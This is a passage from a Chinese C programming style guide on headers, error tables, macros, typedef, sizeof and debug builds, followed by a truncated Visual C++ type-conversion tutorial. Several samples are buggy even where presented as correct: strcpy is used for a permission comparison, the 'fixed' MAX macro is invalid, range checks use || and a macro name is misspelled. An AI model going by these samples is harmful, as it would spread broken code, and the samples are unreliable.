不过话又说回来了，初始化也会造成系统运行时间有一定的开销，所以，也不要对所有的变量做初始化，这个也没有意义。好的程序员知道哪些变量需要初始化，哪些则不需要。如：以下这种情况，则不需要。

        char *pstr;　/* 一个字符串 */
        pstr = ( char* ) malloc( 50 );
        if ( pstr == NULL ) exit(0);
        strcpy( pstr, "Hello Wrold" );
但如果是下面一种情况，最好进行内存初始化。（指针是一个危险的东西，一定要初始化）
        char **pstr;　/* 一个字符串数组 */
        pstr = ( char** ) malloc( 50 );
        if ( pstr == NULL ) exit(0);

        /* 让数组中的指针都指向NULL */
        memset( pstr, 0, 50*sizeof(char*) );

而对于全局变量，和静态变量，一定要声明时就初始化。因为你不知道它第一次会在哪里被使用。所以使用前初始这些变量是比较不现实的，一定要在声明时就初始化它们。如：
    Links *plnk = NULL;　/* 对于全局变量plnk初始化为NULL */

10、h和c文件的使用
---------
H文件和C文件怎么用呢？一般来说，H文件中是declare（声明），C文件中是define（定义）。因为C文件要编译成库文件（Windows下是.obj/.lib，UNIX下是.o/.a），如果别人要使用你的函数，那么就要引用你的H文件，所以，H文件中一般是变量、宏定义、枚举、结构和函数接口的声明，就像一个接口说明文件一样。而C文件则是实现细节。
H文件和C文件最大的用处就是声明和实现分开。这个特性应该是公认的了，但我仍然看到有些人喜欢把函数写在H文件中，这种习惯很不好。（如果是C++话，对于其模板函数，在VC中只有把实现和声明都写在一个文件中，因为VC不支持export关键字）。而且，如果在H文件中写上函数的实现，你还得在makefile中把头文件的依赖关系也加上去，这个就会让你的makefile很不规范。
最后，有一个最需要注意的地方就是：带初始化的全局变量不要放在H文件中！
例如有一个处理错误信息的结构：
    char* errmsg[] = {
        /* 0 */　　　 "No error",
        /* 1 */　　　 "Open file error",
        /* 2 */　　　 "Failed in sending/receiving a message",
        /* 3 */　　　 "Bad arguments",
        /* 4 */　　　 "Memeroy is not enough",
        /* 5 */　　　 "Service is down; try later",
        /* 6 */　　　 "Unknow information",
        /* 7 */　　　 "A socket operation has failed",
        /* 8 */　　　 "Permission denied",
        /* 9 */　　　 "Bad configuration file format",
        /* 10 */　　　"Communication time out",
        ......
        ......
    };

请不要把这个东西放在头文件中，因为如果你的这个头文件被5个函数库（.lib或是.a）所用到，于是他就被链接在这5个.lib或.a中，而如果你的一个程序用到了这5个函数库中的函数，并且这些函数都用到了这个出错信息数组。那么这份信息将有5个副本存在于你的执行文件中。如果你的这个errmsg很大的话，而且你用到的函数库更多的话，你的执行文件也会变得很大。
正确的写法应该把它写到C文件中，然后在各个需要用到errmsg的C文件头上加上 extern char* errmsg[]; 的外部声明，让编译器在链接时才去管他，这样一来，就只会有一个errmsg存在于执行文件中，而且，这样做很利于封装。
我曾遇到过的最疯狂的事，就是在我的目标文件中，这个errmsg一共有112个副本，执行文件有8M左右。当我把errmsg放到C文件中，并为一千多个C文件加上了extern的声明后，所有的函数库文件尺寸都下降了20%左右，而我的执行文件只有5M了。一下子少了3M啊。
〔 备注 〕
-----
有朋友对我说，这个只是一个特例，因为，如果errmsg在执行文件中存在多个副本时，可以加快程序运行速度，理由是errmsg的多个复本会让系统的内存换页降低，达到效率提升。像我们这里所说的errmsg只有一份，当某函数要用errmsg时，如果内存隔得比较远，会产生换页，反而效率不高。
这个说法不无道理，但是一般而言，对于一个比较大的系统，errmsg是比较大的，所以产生副本导致执行文件尺寸变大，不仅增加了系统装载时间，也会让一个程序在内存中占更多的页面。而对于errmsg这样数据，一般来说，在系统运行时不会经常用到，所以还是产生的内存换页也就不算频繁。权衡之下，还是只有一份errmsg的效率高。即便是像logmsg这样频繁使用的的数据，操作系统的内存调度算法会让这样的频繁使用的页面常驻于内存，所以也就不会出现内存换页问题了
11、出错信息的处理
---------
你会处理出错信息吗？哦，它并不是简单的输出。看下面的示例：
    if ( p == NULL ){
        printf ( "ERR: The pointer is NULLn" );
    }

告别学生时代的编程吧。这种编程很不利于维护和管理，出错信息或是提示信息，应该统一处理，而不是像上面这样，写成一个“硬编码”。第10条对这方面的处理做了一部分说明。如果要管理错误信息，那就要有以下的处理：
    /* 声明出错代码 */
    #define　　 ERR_NO_ERROR　　0　/* No error　　　　　　　　 */
    #define　　 ERR_OPEN_FILE　 1　/* Open file error　　　　　*/
    #define　　 ERR_SEND_MESG　 2　/* sending a message error　*/
    #define　　 ERR_BAD_ARGS　　3　/* Bad arguments　　　　　　*/
    #define　　 ERR_MEM_NONE　　4　/* Memeroy is not enough　　*/
    #define　　 ERR_SERV_DOWN　 5　/* Service down try later　 */
    #define　　 ERR_UNKNOW_INFO 6　/* Unknow information　　　 */
    #define　　 ERR_SOCKET_ERR　7　/* Socket operation failed　*/
    #define　　 ERR_PERMISSION　8　/* Permission denied　　　　*/
    #define　　 ERR_BAD_FORMAT　9　/* Bad configuration file　 */
    #define　　 ERR_TIME_OUT　 10　/* Communication time out　 */

    /* 声明出错信息 */
    char* errmsg[] = {
        /* 0 */　　　 "No error",
        /* 1 */　　　 "Open file error",
        /* 2 */　　　 "Failed in sending/receiving a message",
        /* 3 */　　　 "Bad arguments",
        /* 4 */　　　 "Memeroy is not enough",
        /* 5 */　　　 "Service is down; try later",
        /* 6 */　　　 "Unknow information",
        /* 7 */　　　 "A socket operation has failed",
        /* 8 */　　　 "Permission denied",
        /* 9 */　　　 "Bad configuration file format",
        /* 10 */　　　"Communication time out",
    };

    /* 声明错误代码全局变量 */
    long errno = 0;

    /* 打印出错信息函数 */
    void perror( char* info)
    {
        if ( info ){
            printf("%s: %sn", info, errmsg[errno] );
            return;
        }

        printf("Error: %sn", errmsg[errno] );
    }
这个基本上是ANSI的错误处理实现细节了，于是当你程序中有错误时你就可以这样处理：
    bool CheckPermission( char* userName )
    {
        if ( strcpy(userName, "root") != 0 ){
            errno = ERR_PERMISSION_DENIED;
            return (FALSE);
        }

        ...
    }

    main()
    {
        ...
        if (! CheckPermission( username ) ){
            perror("main()");
        }
        ...
    }

一个即有共性，也有个性的错误信息处理，这样做有利同种错误出一样的信息，统一用户界面，而不会因为文件打开失败，A程序员出一个信息，B程序员又出一个信息。而且这样做，非常容易维护。代码也易读。
当然，物极必反，也没有必要把所有的输出都放到errmsg中，抽取比较重要的出错信息或是提示信息是其关键，但即使这样，这也包括了大多数的信息。

12、常用函数和循环语句中的被计算量
-----------------
看一下下面这个例子：
    for( i=0; i<1000; i++ ){
        GetLocalHostName( hostname );
        ...
    }

GetLocalHostName的意思是取得当前计算机名，在循环体中，它会被调用1000次啊。这是多么的没有效率的事啊。应该把这个函数拿到循环体外，这样只调用一次，效率得到了很大的提高。虽然，我们的编译器会进行优化，会把循环体内的不变的东西拿到循环外面，但是，你相信所有编译器会知道哪些是不变的吗？我觉得编译器不可靠。最好还是自己动手吧。
同样，对于常用函数中的不变量，如：
GetLocalHostName(char* name)
{
    char funcName[] = "GetLocalHostName";

    sys_log( "%s begin......", funcName );
    ...
    sys_log( "%s end......", funcName );
}
如果这是一个经常调用的函数，每次调用时都要对funcName进行分配内存，这个开销很大啊。把这个变量声明成static吧，当函数再次被调用时，就会省去了分配内存的开销，执行效率也很好。

13、函数名和变量名的命名
------------
我看到许多程序对变量名和函数名的取名很草率，特别是变量名，什么a,b,c,aa,bb,cc，还有什么flag1,flag2, cnt1, cnt2，这同样是一种没有“修养”的行为。即便加上好的注释。好的变量名或是函数名，我认为应该有以下的规则：

    1) 直观并且可以拼读，可望文知意，不必“解码”。
    2) 名字的长度应该即要最短的长度，也要能最大限度的表达其含义。
    3) 不要全部大写，也不要全部小写，应该大小写都有，如：GetLocalHostName 或是 UserAccount。
    4) 可以简写，但简写得要让人明白，如：ErrorCode -> ErrCode,　ServerListener -> ServLisner，UserAccount -> UsrAcct 等。
    5) 为了避免全局函数和变量名字冲突，可以加上一些前缀，一般以模块简称做为前缀。
    6) 全局变量统一加一个前缀或是后缀，让人一看到这个变量就知道是全局的。
    7) 用匈牙利命名法命名函数参数，局部变量。但还是要坚持“望文生意”的原则。
    8) 与标准库（如：STL）或开发库（如：MFC）的命名风格保持一致。

14、函数的传值和传指针
------------
向函数传参数时，一般而言，传入非const的指针时，就表示，在函数中要修改这个指针把指内存中的数据。如果是传值，那么无论在函数内部怎么修改这个值，也影响不到传过来的值，因为传值是只内存拷贝。
什么？你说这个特性你明白了，好吧，让我们看看下面的这个例程：
void
GetVersion(char* pStr)
{
    pStr = malloc(10);
    strcpy ( pStr, "2.0" );
}
main()
{
    char* ver = NULL;
    GetVersion ( ver );
    ...
    ...
    free ( ver );
}
我保证，类似这样的问题是一个新手最容易犯的错误。程序中妄图通过函数GetVersion给指针ver分配空间，但这种方法根本没有什么作用，原因就是--这是传值，不是传指针。你或许会和我争论，我分明传的时指针啊？再仔细看看，其实，你传的是指针其实是在传值。
15、修改别人程序的修养
-----------
当你维护别人的程序时，请不要非常主观臆断的把已有的程序删除或是修改。我经常看到有的程序员直接在别人的程序上修改表达式或是语句。修改别人的程序时，请不要删除别人的程序，如果你觉得别人的程序有所不妥，请注释掉，然后添加自己的处理程序，必竟，你不可能100%的知道别人的意图，所以为了可以恢复，请不依赖于CVS或是SourceSafe这种版本控制软件，还是要在源码上给别人看到你修改程序的意图和步骤。这是程序维护时，一个有修养的程序员所应该做的。
如下所示，这就是一种比较好的修改方法：
    /*
     * ----- commented by haoel 2003/04/12 ------
     *
     *　 char* p = ( char* ) malloc( 10 );
     *　 memset( p, 0, 10 );
     */

    /* ------ Added by haoel　 2003/04/12 ----- */
     char* p = ( char* )calloc( 10, sizeof char );
    /* ---------------------------------------- */
    ...
当然，这种方法是在软件维护时使用的，这样的方法，可以让再维护的人很容易知道以前的代码更改的动作和意图，而且这也是对原作者的一种尊敬。
以“注释 - 添加”方式修改别人的程序，要好于直接删除别人的程序。
16、把相同或近乎相同的代码形成函数和宏
---------------------
有人说，最好的程序员，就是最喜欢“偷懒”的程序，其中不无道理。
如果你有一些程序的代码片段很相似，或直接就是一样的，请把他们放在一个函数中。而如果这段代码不多，而且会被经常使用，你还想避免函数调用的开销，那么就把他写成宏吧。
千万不要让同一份代码或是功能相似的代码在多个地方存在，不然如果功能一变，你就要修改好几处地方，这种会给维护带来巨大的麻烦，所以，做到“一改百改”，还是要形成函数或是宏。
17、表达式中的括号
---------
如果一个比较复杂的表达式中，你并不是很清楚各个操作符的忧先级，即使是你很清楚优先级，也请加上括号，不然，别人或是自己下一次读程序时，一不小心就看走眼理解错了，为了避免这种“误解”，还有让自己的程序更为清淅，还是加上括号吧。
比如，对一个结构的成员取地址：
    GetUserAge( &( UserInfo->age ) );
虽然，&UserInfo->age中，->操作符的优先级最高，但加上一个括号，会让人一眼就看明白你的代码是什么意思。
再比如，一个很长的条件判断：
if ( ( ch[0] >= ′0′ || ch[0] <= ′9′ ) &&
     ( ch[1] >= ′a′ || ch[1] <= ′z′ ) &&
     ( ch[2] >= ′A′ || ch[2] <= ′Z′ )　　)

括号，再加上空格和换行，你的代码是不是很容易读懂了？
18、函数参数中的const
-----------
对于一些函数中的指针参数，如果在函数中只读，请将其用const修饰，这样，别人一读到你的函数接口时，就会知道你的意图是这个参数是[in]，如果没有const时，参数表示[in/out]，注意函数接口中的const使用，利于程序的维护和避免犯一些错误。
虽然，const修饰的指针，如：const char* p，在C中一点用也没有，因为不管你的声明是不是const，指针的内容照样能改，因为编译器会强制转换，但是加上这样一个说明，有利于程序的阅读和编译。因为在C中，修改一个const指针所指向的内存时，会报一个Warning。这会引起程序员的注意。
C++中对const定义的就很严格了，所以C++中要多多的使用const，const的成员函数，const的变量，这样会对让你的代码和你的程序更加完整和易读。（关于C++的const我就不多说了）
19、函数的参数个数（多了请用结构）
-----------------
函数的参数个数最好不要太多，一般来说6个左右就可以了，众多的函数参数会让读代码的人一眼看上去就很头昏，而且也不利于维护。如果参数众多，还请使用结构来传递参数。这样做有利于数据的封装和程序的简洁性。
也利于使用函数的人，因为如果你的函数个数很多，比如12个，调用者很容易搞错参数的顺序和个数，而使用结构struct来传递参数，就可以不管参数的顺序。
而且，函数很容易被修改，如果需要给函数增加参数，不需要更改函数接口，只需更改结构体和函数内部处理，而对于调用函数的程序来说，这个动作是透明的。

20、函数的返回类型，不要省略
--------------
我看到很多程序写函数时，在函数的返回类型方面不太注意。如果一个函数没有返回值，也请在函数前面加上void的修饰。而有的程序员偷懒，在返回int的函数则什么不修饰（因为如果不修饰，则默认返回int），这种习惯很不好，还是为了原代码的易读性，加上int吧。
所以函数的返回值类型，请不要省略。
另外，对于void的函数，我们往往会忘了return，由于某些C/C++的编译器比较敏感，会报一些警告，所以即使是void的函数，我们在内部最好也要加上return的语句，这有助于代码的编译。

21、goto语句的使用
---------
N年前，软件开发的一代宗师--迪杰斯特拉(Dijkstra)说过：“goto statment is harmful !!”，并建议取消goto语句。因为goto语句不利于程序代码的维护性。
这里我也强烈建议不要使用goto语句，除非下面的这种情况：
    #define FREE(p) if(p) {
free(p);
p = NULL;
}
main()
{
char *fname=NULL, *lname=NULL, *mname=NULL;
fname = ( char* ) calloc ( 20, sizeof(char) );
if (
        fname == NULL ){
goto ErrHandle;
}
lname = (
        char* ) calloc ( 20, sizeof(char) );
if ( lname == NULL ){
goto ErrHandle;
}
mname = ( char* ) calloc (
        20, sizeof(char) );
if ( mname == NULL ){
goto
        ErrHandle;
}

......

ErrHandle:
FREE(fname);
FREE(lname);
FREE(mname);
ReportError(ERR_NO_MEMOEY);
}
也只有在这种情况下，goto语句会让你的程序更易读，更容易维护。（在用嵌C来对数据库设置游标操作时，或是对数据库建立链接时，也会遇到这种结构）

22、宏的使用
------
很多程序员不知道C中的“宏”到底是什么意思？特别是当宏有参数的时候，经常把宏和函数混淆。我想在这里我还是先讲讲“宏”，宏只是一种定义，他定义了一个语句块，当程序编译时，编译器首先要执行一个“替换”源程序的动作，把宏引用的地方替换成宏定义的语句块，就像文本文件替换一样。这个动作术语叫“宏的展开”
使用宏是比较“危险”的，因为你不知道宏展开后会是什么一个样子。例如下面这个宏：
    #define　MAX(a, b)　　 a>b?a:b
当我们这样使用宏时，没有什么问题： MAX( num1, num2 ); 因为宏展开后变成 num1>num2?num1:num2；。但是，如果是这样调用的，MAX( 17+32, 25+21 ); 呢，编译时出现错误，原因是，宏展开后变成：17+32>25+21?17+32:25+21，哇，这是什么啊？
所以，宏在使用时，参数一定要加上括号，上述的那个例子改成如下所示就能解决问题了。
    #define　MAX( (a), (b) )　　 (a)>(b)?(a):(b)

即使是这样，也不这个宏也还是有Bug，因为如果我这样调用 MAX(i++, j++); ，经过这个宏以后，i和j都被累加了两次，这绝不是我们想要的。

所以，在宏的使用上还是要谨慎考虑，因为宏展开是的结果是很难让人预料的。而且虽然，宏的执行很快（因为没有函数调用的开销），但宏会让源代码澎涨，使目标文件尺寸变大，（如：一个50行的宏，程序中有1000个地方用到，宏展开后会很不得了），相反不能让程序执行得更快（因为执行文件变大，运行时系统换页频繁）。
因此，在决定是用函数，还是用宏时得要小心。
23、static的使用
--------
static关键字，表示了“静态”，一般来说，他会被经常用于变量和函数。一个static的变量，其实就是全局变量，只不过他是有作用域的全局变量。比如一个函数中的static变量：
char*
getConsumerName()
{
    static int cnt = 0;

    ....
    cnt++;
    ....
}
cnt变量的值会跟随着函数的调用次而递增，函数退出后，cnt的值还存在，只是cnt只能在函数中才能被访问。而cnt的内存也只会在函数第一次被调用时才会被分配和初始化，以后每次进入函数，都不为static分配了，而直接使用上一次的值。
对于一些被经常调用的函数内的常量，最好也声明成static（参见第12条）
但static的最多的用处却不在这里，其最大的作用的控制访问，在C中如果一个函数或是一个全局变量被声明为static，那么，这个函数和这个全局变量，将只能在这个C文件中被访问，如果别的C文件中调用这个C文件中的函数，或是使用其中的全局（用extern关键字），将会发生链接时错误。这个特性可以用于数据和程序保密。
24、函数中的代码尺寸
----------
一个函数完成一个具体的功能，一般来说，一个函数中的代码最好不要超过600行左右，越少越好，最好的函数一般在100行以内，300行左右的孙函数就差不多了。有证据表明，一个函数中的代码如果超过500行，就会有和别的函数相同或是相近的代码，也就是说，就可以再写另一个函数。
另外，函数一般是完成一个特定的功能，千万忌讳在一个函数中做许多件不同的事。函数的功能越单一越好，一方面有利于函数的易读性，另一方面更有利于代码的维护和重用，功能越单一表示这个函数就越可能给更多的程序提供服务，也就是说共性就越多。
虽然函数的调用会有一定的开销，但比起软件后期维护来说，增加一些运行时的开销而换来更好的可维护性和代码重用性，是很值得的一件事。
25、typedef的使用
---------
typedef是一个给类型起别名的关键字。不要小看了它，它对于你代码的维护会有很好的作用。比如C中没有bool，于是在一个软件中，一些程序员使用int，一些程序员使用short，会比较混乱，最好就是用一个typedef来定义，如：
typedef char bool;

一般来说，一个C的工程中一定要做一些这方面的工作，因为你会涉及到跨平台，不同的平台会有不同的字长，所以利用预编译和typedef可以让你最有效的维护你的代码，如下所示：
#ifdef SOLARIS2_5
typedef boolean_t　　 BOOL_T;
#else
typedef int　　　　　 BOOL_T;
#endif

typedef
        short　　　　　 INT16_T;
typedef unsigned short　UINT16_T;
typedef
        int　　　　　　 INT32_T;
typedef unsigned int　　UINT32_T;

#ifdef WIN32
typedef _int64　　　　INT64_T;
#else
typedef long long　　 INT64_T;
#endif

typedef
        float　　　　　 FLOAT32_T;
typedef char*　　　　　 STRING_T;
typedef
        unsigned char　 BYTE_T;
typedef time_t　　　　　TIME_T;
typedef
        INT32_T　　　　 PID_T;

使用typedef的其它规范是，在结构和函数指针时，也最好用typedef，这也有利于程序的易读和可维护性。如：
typedef struct _hostinfo {
HOSTID_T　 host;
INT32_T　　hostId;
STRING_T　 hostType;
STRING_T
        hostModel;
FLOAT32_T　cpuFactor;
INT32_T　　numCPUs;
INT32_T　　nDisks;
INT32_T　　memory;
INT32_T　　swap;
} HostInfo;
    typedef INT32_T (*RsrcReqHandler)(
     void *info,
     JobArray *jobs,
     AllocInfo *allocInfo,
     AllocList *allocList);
C++中这样也是很让人易读的：
    typedef CArray<HostInfo, HostInfo&> HostInfoArray;
于是，当我们用其定义变量时，会显得十分易读。如：
    HostInfo* phinfo;
    RsrcReqHandler* pRsrcHand;
这种方式的易读性，在函数的参数中十分明显。
关键是在程序种使用typedef后，几乎所有的程序中的类型声明都显得那么简洁和清淅，而且易于维护，这才是typedef的关键。
26、为常量声明宏
--------
最好不要在程序中出现数字式的“硬编码”，如：
    int user[120];

为这个120声明一个宏吧。为所有出现在程序中的这样的常量都声明一个宏吧。比如TimeOut的时间，最大的用户数量，还有其它，只要是常量就应该声明成宏。如果，突然在程序中出现下面一段代码，
    for ( i=0; i<120; i++){
        ....
    }
120是什么？为什么会是120？这种“硬编码”不仅让程序很读，而且也让程序很不好维护，如果要改变这个数字，得同时对所有程序中这个120都要做修改，这对修改程序的人来说是一个很大的痛苦。所以还是把常量声明成宏，这样，一改百改，而且也很利于程序阅读。
    #define MAX_USR_CNT 120

    for ( i=0; i<MAX_USER_CNT; i++){
        ....
    }
这样就很容易了解这段程序的意图了。
有的程序员喜欢为这种变量声明全局变量，其实，全局变量应该尽量的少用，全局变量不利于封装，也不利于维护，而且对程序执行空间有一定的开销，一不小心就造成系统换页，造成程序执行速度效率等问题。所以声明成宏，即可以免去全局变量的开销，也会有速度上的优势。
27、不要为宏定义加分号
-----------
有许多程序员不知道在宏定义时是否要加分号，有时，他们以为宏是一条语句，应该要加分号，这就错了。当你知道了宏的原理，你会赞同我为会么不要为宏定义加分号的。看一个例子：
    #define MAXNUM 1024;
这是一个有分号的宏，如果我们这样使用：
    half = MAXNUM/2;

    if ( num < MAXNUM )
等等，都会造成程序的编译错误，因为，当宏展开后，他会是这个样子的：
    half = 1024;/2;

    if ( num < 1024; )

是的，分号也被展进去了，所以造成了程序的错误。请相信我，有时候，一个分号会让你的程序出现成百个错误。所以还是不要为宏加最后一个分号，哪怕是这样：
    #define LINE　　"================================="

    #define PRINT_LINE　printf(LINE)
    #define PRINT_NLINE(n)　while ( n-- >0 ) { PRINT_LINE; }

都不要在最后加上分号，当我们在程序中使用时，为之加上分号，
    main()
    {
        char *p = LINE;
        PRINT_LINE;
    }
这一点非常符合习惯，而且，如果忘加了分号，编译器给出的错误提示，也会让我们很容易看懂的。
28、||和&&的语句执行顺序
------------
条件语句中的这两个“与”和“或”操作符一定要小心，它们的表现可能和你想像的不一样，这里条件语句中的有些行为需要和说一下：
    express1 || express2

    先执行表达式express1如果为“真”，express2将不被执行，express2仅在express1为“假”时才被执行。因为第一个表达式为真了，整个表达式都为真，所以没有必要再去执行第二个表达式了。
    express1 && express2
    先执行表达式express1如果为“假”，express2将不被执行，express2仅在express1为“真”时才被执行。因为第一个表达式为假了，整个表达式都为假了，所以没有必要再去执行第二个表达式了。
于是，他并不是你所想像的所有的表达式都会去执行，这点一定要明白，不然你的程序会出现一些莫明的运行时错误。
例如，下面的程序：
    if ( sum > 100 &&
         ( ( fp=fopen( filename,"a" ) ) != NULL )　 {

         fprintf(fp, "Warring: it beyond one hundredn");
         ......
    }

    fprintf( fp, " sum is %id n", sum );
    fclose( fp );
本来的意图是，如果sum > 100 ，向文件中写一条出错信息，为了方便，把两个条件判断写在一起，于是，如果sum<=100时，打开文件的操作将不会做，最后，fprintf和fclose就会发现未知的结果。
再比如，如果我想判断一个字符是不是有内容，我得判断这个字符串指针是不为空（NULL）并且其内容不能为空（Empty），一个是空指针，一个是空内容。我也许会这样写：
    if ( ( p != NULL ) && ( strlen(p) != 0 ))
于是，如果p为NULL，那么strlen(p)就不会被执行，于是，strlen也就不会因为一个空指针而“非法操作”或是一个“Core Dump”了。
记住一点，条件语句中，并非所有的语句都会执行，当你的条件语句非常多时，这点要尤其注意。
29、尽量用for而不是while做循环
---------------
基本上来说，for可以完成while的功能，我是建议尽量使用for语句，而不要使用while语句，特别是当循环体很大时，for的优点一下就体现出来了。
因为在for中，循环的初始、结束条件、循环的推进，都在一起，一眼看上去就知道这是一个什么样的循环。刚出学校的程序一般对于链接喜欢这样来：
    p = pHead;

    while ( p ){
        ...
        ...
        p = p->next;
    }
当while的语句块变大后，你的程序将很难读，用for就好得多：
    for ( p=pHead;　p; p=p->next ){
    ..
    }
一眼就知道这个循环的开始条件，结束条件，和循环的推进。大约就能明白这个循环要做个什么事？而且，程序维护进来很容易，不必像while一样，在一个编辑器中上上下下的捣腾。
30、请sizeof类型而不是变量
-------------
许多程序员在使用sizeof中，喜欢sizeof变量名，例如：
int score[100];
char filename[20];
struct UserInfo usr[100];
在sizeof这三个的变量名时，都会返回正确的结果，于是许多程序员就开始sizeof变量名。这个习惯很虽然没有什么不好，但我还是建议sizeof类型。
我看到过这个的程序：
    pScore = (int*) malloc( SUBJECT_CNT );
    memset( pScore, 0, sizeof(pScore) );
    ...

此时，sizeof(pScore)返回的就是4（指针的长度），不会是整个数组，于是，memset就不能对这块内存进行初始化。为了程序的易读和易维护，我强烈建议使用类型而不是变量，如：
对于score：　　 sizeof(int) * 100　 /* 100个int */
对于filename：　sizeof(char) * 20　 /* 20个char */
对于usr：　　　 sizeof(struct UserInfo) * 100　 /* 100个UserInfo */
这样的代码是不是很易读？一眼看上去就知道什么意思了。
另外一点，sizeof一般用于分配内存，这个特性特别在多维数组时，就能体现出其优点了。如，给一个字符串数组分配内存，
/*
* 分配一个有20个字符串，
* 每个字符串长100的内存
*/
char* *p;
/*
* 错误的分配方法
*/
p = (char**)calloc( 20*100, sizeof(char) );
/*
* 正确的分配方法
*/
p = (char**) calloc
        ( 20, sizeof(char*) );
for ( i=0; i<20; i++){
/*p = (char*)
        calloc ( 100, sizeof(char) );*/
p[i] = (char*) calloc ( 100,
        sizeof(char) );
}
（注：上述语句被注释掉的是原来的，是错误的，由dasherest朋友指正，谢谢）
为了代码的易读，省去了一些判断，请注意这两种分配的方法，有本质上的差别。
31、不要忽略Warning
----------
对于一些编译时的警告信息，请不要忽视它们。虽然，这些Warning不会妨碍目标代码的生成，但这并不意味着你的程序就是好的。必竟，并不是编译成功的程序才是正确的，编译成功只是万里长征的第一步，后面还有大风大浪在等着你。从编译程序开始，不但要改正每个error，还要修正每个warning。这是一个有修养的程序员该做的事。
一般来说，一面的一些警告信息是常见的：
    1）声明了未使用的变量。（虽然编译器不会编译这种变量，但还是把它从源程序中注释或是删除吧）
    2）使用了隐晦声明的函数。（也许这个函数在别的C文件中，编译时会出现这种警告，你应该这使用之前使用extern关键字声明这个函数）
    3）没有转换一个指针。（例如malloc返回的指针是void的，你没有把之转成你实际类型而报警，还是手动的在之前明显的转换一下吧）
    4）类型向下转换。（例如：float f = 2.0; 这种语句是会报警告的，编译会告诉你正试图把一个double转成float，你正在阉割一个变量，你真的要这样做吗？还是在2.0后面加个f吧，不然，2.0就是一个double，而不是float了）

不管怎么说，编译器的Warning不要小视，最好不要忽略，一个程序都做得出来，何况几个小小的Warning呢？
32、书写Debug版和Release版的程序
----------------
程序在开发过程中必然有许多程序员加的调试信息。我见过许多项目组，当程序开发结束时，发动群众删除程序中的调试信息，何必呢？为什么不像VC++那样建立两个版本的目标代码？一个是debug版本的，一个是Release版的。那些调试信息是那么的宝贵，在日后的维护过程中也是很宝贵的东西，怎么能说删除就删除呢？
利用预编译技术吧，如下所示声明调试函数：
    #ifdef DEBUG
        void TRACE(char* fmt, ...)
        {
            ......
        }
    #else
        #define TRACE(char* fmt, ...)
    #endif
于是，让所有的程序都用TRACE输出调试信息，只需要在在编译时加上一个参数“-DDEBUG”，如：
    cc -DDEBUG -o target target.c
于是，预编译器发现DEBUG变量被定义了，就会使用TRACE函数。而如果要发布给用户了，那么只需要把取消“-DDEBUG”的参数，于是所有用到TRACE宏，这个宏什么都没有，所以源程序中的所有TRACE语言全部被替换成了空。一举两得，一箭双雕，何乐而不为呢？
顺便提一下，两个很有用的系统宏，一个是“__FILE__”，一个是“__LINE__”，分别表示，所在的源文件和行号，当你调试信息或是输出错误时，可以使用这两个宏，让你一眼就能看出你的错误，出现在哪个文件的第几行中。这对于用C/C++做的大工程非常的管用。
综上所述32条，都是为了三大目的--
    1、程序代码的易读性。
    2、程序代码的可维护性，
    3、程序代码的稳定可靠性。

有修养的程序员，就应该要学会写出这样的代码！这是任何一个想做编程高手所必需面对的细小的问题，编程高手不仅技术要强，基础要好，而且最重要的是要有“修养”！
好的软件产品绝不仅仅是技术，而更多的是整个软件的易维护和可靠性。
软件的维护有大量的工作量花在代码的维护上，软件的Upgrade，也有大量的工作花在代码的组织上，所以好的代码，清淅的，易读的代码，将给大大减少软件的维护和升级成本。


VC常用数据类型转换详解
我们先定义一些常见类型变量借以说明
int i = 100;
long l = 2001;
float
        f=300.2;
double d=12345.119;
char username[]="程佩君";
char
        temp[200];
char *buf;
CString str;
_variant_t v1;
_bstr_t
        v2;
一、其它数据类型转换为字符串
短整型(int)
itoa(i,temp,10);///将i转换为字符串放入temp中,最后一个数字表示十进制
itoa(i,temp,2);
        ///按二进制方式转换
长整型(long)
ltoa(l,temp,10);
浮点数(float,double)
用fcvt可以完成转换,这是MSDN中的例子:
int decimal, sign;
char *buffer;
double source = 3.1415926535;
buffer = _fcvt(
        source, 7, &decimal, &sign );
运行结果:source: 3.1415926535
        buffer: '31415927' decimal: 1 sign:
        0
decimal表示小数点的位置,sign表示符号:0为正数，1为负数
CString变量
str =
        "2008北京奥运";
buf = (LPSTR)(LPCTSTR)str;
BSTR变量
BSTR bstrValue =
        ::SysAllocString(L"程序员");
char * buf =
        _com_util::ConvertBSTRToString(bstrValue);
SysFreeString(bstrValue);
AfxMessageBox(buf);
delete(buf);
CComBSTR变量
CComBSTR
        bstrVar("test");
char *buf =
        _com_util::ConvertBSTRToString(bstrVar.m_str);
AfxMessageBox(buf);
delete(buf);
_bstr_t变量
_bstr_t类型是对BSTR的封装，因为已经重载了=操作符，所以很容易使用
_bstr_t bstrVar("test");
const char *buf = bstrVar;///不要修改buf中的内容
AfxMessageBox(buf);
通用方法(针对非COM数据类型)
用sprintf完成转换
char
        buffer[200];
char  c = '1';
int   i =
        35;
long  j = 1000;
float f = 1.7320534f;
sprintf( buffer,
        "%c",c);
sprintf( buffer, "%d",i);
sprintf( buffer,
        "%d",j);
sprintf( buffer, "%f",f);
二、字符串转换为其它数据类型
strcpy(temp,"123");
短整型(int)
i = atoi(temp);
长整型(long)
l
        = atol(temp);
浮点(double)
d = atof(temp);
CString变量
CString
        name = temp;
BSTR变量
BSTR bstrValue = ::SysAllocString(L"程序员");
...///完成对bstrValue的使用
SysFreeString(bstrValue);
CComBSTR变量
CComBSTR类型变量可以直接赋值
CComBSTR bstrVar1("test");
CComBSTR bstrVar2(temp);
_bstr_t变量
_bstr_t类型的变量可以直接赋值
_bstr_t bstrVar1("test");
_bstr_t bstrVar2(temp);

三、其它数据类型转换到CString
使用CString的成员函数Format来转换,例如:

整数(int)
str.Format("%d",i);
浮点数(float)
str.Format("%f",i);
字符串指针(char *)等已经被CString构造函数支持的数据类型可以直接赋值
str = username;
对于Format所不支持的数据类型，可以通过上面所说的关于其它数据类型转化到char *的方法先转到char *，然后赋值给CString变量。
四、BSTR、_bstr_t与CComBSTR

CComBSTR 是ATL对BSTR的封装，_bstr_t是C++对BSTR的封装,BSTR是32位指针,但并不直接指向字串的缓冲区。
char *转换到BSTR可以这样:
BSTR b=_com_util::ConvertStringToBSTR("数据");///使用前需要加上comutil.h和comsupp.lib
SysFreeString(bstrValue);
反之可以使用
char *p=_com_util::ConvertBSTRToString(b);
delete p;
具体可以参考一，二段落里的具体说明。
CComBSTR与_bstr_t对大量的操作符进行了重载，可以直接进行=,!=,==等操作，所以使用非常方便。
特别是_bstr_t,建议大家使用它。

五、VARIANT 、_variant_t 与 COleVariant
VARIANT的结构可以参考头文件VC98\Include\OAIDL.H中关于结构体tagVARIANT的定义。
对于VARIANT变量的赋值：首先给vt成员赋值，指明数据类型，再对联合结构中相同数据类型的变量赋值，举个例子：
VARIANT
